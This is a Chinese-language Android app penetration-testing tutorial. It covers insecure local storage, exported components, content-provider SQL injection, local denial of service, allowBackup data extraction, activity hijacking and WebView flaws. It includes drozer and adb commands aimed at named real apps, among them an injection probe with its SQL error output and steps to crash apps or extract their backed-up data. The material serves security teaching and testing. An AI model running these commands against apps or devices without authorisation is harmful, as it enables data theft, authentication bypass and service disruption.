3.1 數據存儲漏洞
用戶經常會把敏感數據交給app,比如:
用戶名and密碼
認證令牌
聯系人記錄
通信記錄
歷史使用記錄
.....
只要願意,app可以收集這些用戶的隱私和個人信息明文存儲或明文傳輸,通常保存在本地,也不排除上傳到網絡
• 本地保存
• 網絡保存
本地保存
• SharedPreferences
data/data/程序包名/shared_prefs/*.xml
創建配置文件時沒有使用MODE_PRIVATE模式,導致其他程序可以讀取配置文件,root用戶可讀
• SQLiteDatabases
data/data/程序包名/database/*.db
創建數據庫時沒有使用MODE_PRIVATE模式
• InternalStorage
data/data/程序包名/files/*
沒有使用MODE_PRIVATE模式
• ExternalStorage
/mnt/sdcard/*
擴展閱讀
http://www.droidsec.cn/android-database配置模式安全風險淺析/
http://www.droidsec.cn/android本地數據存儲:internal-storage安全風險淺析/
3.2 組件暴露漏洞
1、android:exported
四大組件中都有的一個屬性:android:exported
export為true,表示可以被外部調用;export如果為false,表示不可以被外部調用
<activity
android:name=".PartActivity"
android:theme="@android:style/Theme.Dialog"
android:export="true">
</activity>
在定義四大組件時,經常是不寫export這個標簽的,系統默認的export是什么?
如果四大組件包含intent-filter,那么Android系統認為這個組件可以被外部通過隱式調用,所以默認export為true
如果四大組件不包含intent-filter,那么Android系統認為這個組件值只可以被內部通過顯式調用,所以默認export為false
2、簡單測試
adb forward tcp:31415 tcp:31415
drozer console connect
確定攻擊面
run app.package.attacksurface 包名
獲取activity信息
run app.activity.info –a包名
啟動activity
run app.activity.start --component包名 包名.XXActivity
繞過認證
activity暴露后被第三方調用,可能在沒有密碼的情況下登錄/重置密碼
越權行為
低權限程序通過調用高權限程序暴露的組件,執行高權限動作
3、組件的權限控制
為了增加四大組件的安全,可以定義訪問某個組件需要某個權限
<activity
android:name=".PartActivity"
android:theme="@android:style/Theme.Dialog" >
android:permission="com.example.test.permission"
</activity>
<permission android:name="com.example.test.permission"
android:protectionLevel="dangerous"
android:label="test"
android:description="test_permission" />
如果需要使用必須在AndroidManifest.xml,通過申請權限
調用組件者聲明:<uses-permission android:name="com.example.test.permission" />
android:protectionLevel,如果是Signature,那么只有和這個應用使用相同私鑰簽名的應用才可以申請這個權限。
擴展閱讀
https://bugs.secquan.org/bugs/WooYun-2014-48501
http://www.droidsec.cn/content-provider文件目錄遍歷漏洞淺析/
3.3 APP中的SQL注入漏洞
連接上模擬器/真機
nox_adb.exe connect 127.0.0.1:62001
端口轉發,轉發到Drozer使用的端口31415
adb forward tcp:31415 tcp:31415
開啟Drozer console
drozer console connect
獲取Content Provider信息
run app.provider.info -a com.qijia.o2o
定位到small代碼com.qijia.o2o.provider.CityProvider
content://com.qijia.o2o
檢測sql注入
run scanner.provider.injection -a com.qijia.o2o
Not Vulnerable:
content://com.tencent.mm.sdk.plugin.provider/sharedpref/
content://com.sina.weibo.sdkProvider/query/package
content://com.tencent.mm.sdk.comm.provider/jumpToBizProfile
content://downloads.com.qijia.o2o
content://telephony/carriers/preferapn/
content://com.tencent.mm.sdk.comm.provider/openRankList
content://com.tencent.mm.sdk.comm.provider/joinChatroom/
content://com.tencent.mm.sdk.comm.provider/createChatroom/
content://downloads./
content://com.tencent.mm.sdk.comm.provider/addCardToWX/
content://com.qijia.o2o/full/
content://com.qijia.o2o/children
content://com.qijia.o2o/children/
content://com.qijia.o2o/
content://com.sina.weibo.sdkProvider/query/package/
content://telephony/carriers/preferapn
content://com.tencent.mm.sdk.comm.provider/openBusiLuckyMoney
content://downloads.com.qijia.o2o/
content://com.tencent.mm.sdk.comm.provider/jumpToBizTempSession/
content://com.tencent.mm.sdk.comm.provider/jumpToBizProfile/
content://orm
content://com.qijia.o2o/full
content://com.tencent.mm.sdk.comm.provider/addCardToWX
content://com.tencent.mm.sdk.comm.provider/joinChatroom
content://orm/
content://com.tencent.mm.sdk.comm.provider/jumpToBizTempSession
content://com.tencent.mm.sdk.plugin.provider/sharedpref
content://com.tencent.mm.sdk.comm.provider/createChatroom
content://com.tencent.mm.sdk.comm.provider/openWebview/
content://com.qijia.o2o
content://com.tencent.mm.sdk.comm.provider/openRankList/
content://com.tencent.mm.sdk.comm.provider/openWebview
content://downloads.
content://com.tencent.mm.sdk.comm.provider/openBusiLuckyMoney/
Injection in Projection:
content://com.qijia.o2o/provinces
content://com.qijia.o2o/provinces/
Injection in Selection:
content://com.qijia.o2o/provinces
content://com.qijia.o2o/provinces/
使sql語句報錯
run app.provider.query content://com.qijia.o2o/provinces --projection "'"
unrecognized token: "' FROM areas WHERE parent = ''" (code 1): , while compilin
g: SELECT ' FROM areas WHERE parent = ''
開啟一個web服務,可以和手機上的content provider連接,還可以和sqlmap聯合使用
run auxiliary.webcontentresolver
http://localhost:8080/query?uri=content://com.qijia.o2o/provinces&projection='
SELECT ' FROM areas WHERE parent =
http://localhost:8080/query?uri=content://com.qijia.o2o/provinces&projection=*#
SELECT ‘ FROM areas WHERE parent =
SELECT * FROM areas WHERE parent =
3.4 本地拒絕服務攻擊漏洞
Android應用本地拒絕服務漏洞源於程序沒有對Intent.getXXXExtra()獲取的異常或者畸形數據處理時沒有進行異常捕獲
攻擊者通過intent發送空數據、異常或畸形數據給受害者應用,導致其崩潰
本地拒絕服務漏洞不僅可以導致安全防護等應用的防護功能被繞過或失效(如殺毒應用、安全衛士、防盜鎖屏等)
而且也可被競爭方應用利用來攻擊,使得自己的應用崩潰,造成不同程度的經濟利益損失
測試
確定攻擊面
dz> run app.package.attacksurface 包名
獲取activity信息
dz> run app.activity.info -a com.nineteenlou.nineteenlou
啟動activity
dz> run app.activity.start --component com.nineteenlou.nineteenlou com.tencent.tauth.TAuthView
獲取廣播組件信息
run app.broadcast.info -a 包名
向廣播組件發送空action
dz> run app.broadcast.send --component包名 廣播組件名
詳細分析和修復
Android客戶端信息泄露以及拒絕服務漏洞
https://bugs.secquan.org/bugs/WooYun-2015-119959
https://www.secpulse.com/archives/3859.html
3.5 allowbackup備份風險
AndroidManifest.xml 配置文件中顯式配置了android:allowBackup=true
備份
adb backup -f E:\back.ab -noapk 包名
可以輸入密碼也可以不輸入
使用android-backup-extractor(abe)工具來解析ab文件
https://github.com/nelenkov/android-backup-extractor/releases
java -jar abe.jar unpack back.ab applock.tar
SmartLockConfig.xml
實際案例:
某密碼鎖未root備份:https://blog.csdn.net/qq_31387043/article/details/51452782
微博app備份:https://blog.csdn.net/chuyouyinghe/article/details/53609806
3.6 activity 劫持
用戶打開安卓手機上的某一應用,進入到登陸頁面
這時,惡意軟件偵測到用戶的這一動作,立即彈出一個與該應用界面相同的Activity,覆蓋掉了合法的Activity
用戶幾乎無法察覺,該用戶接下來輸入用戶名和密碼的操作其實是在惡意軟件的Activity上進行的
Activity劫持實例與防護手段
http://blog.chinaunix.net/uid-29170659-id-4930737.html
3.7 webview明文存儲,代碼執行,同源策略等其他漏洞
WebView
現在很多App里都內置了Web網頁(Hyprid App),比如說很多電商平台,淘寶、京東、聚划算等等
功能是由 Android的WebView 實現的
WebView 使用過程中存在許多漏洞,容易造成用戶數據泄露等等危險
webview-file域同源策略
http://www.droidsec.cn/webview-file域同源策略繞過漏洞淺析/
WebView 明文存儲
案例:https://bugs.secquan.org/bugs/WooYun-2013-20246
WebView默認開啟密碼保存功能 :
myWebView.setSavePassword(true)
WebView代碼執行
https://www.52pojie.cn/thread-322022-1-1.html
https://blog.csdn.net/u012195899/article/details/68942725
WormHole蟲洞漏洞
https://blog.csdn.net/jltxgcy/article/details/50686858
應用克隆漏洞分析 https://blog.csdn.net/xwh_1230/article/details/79045251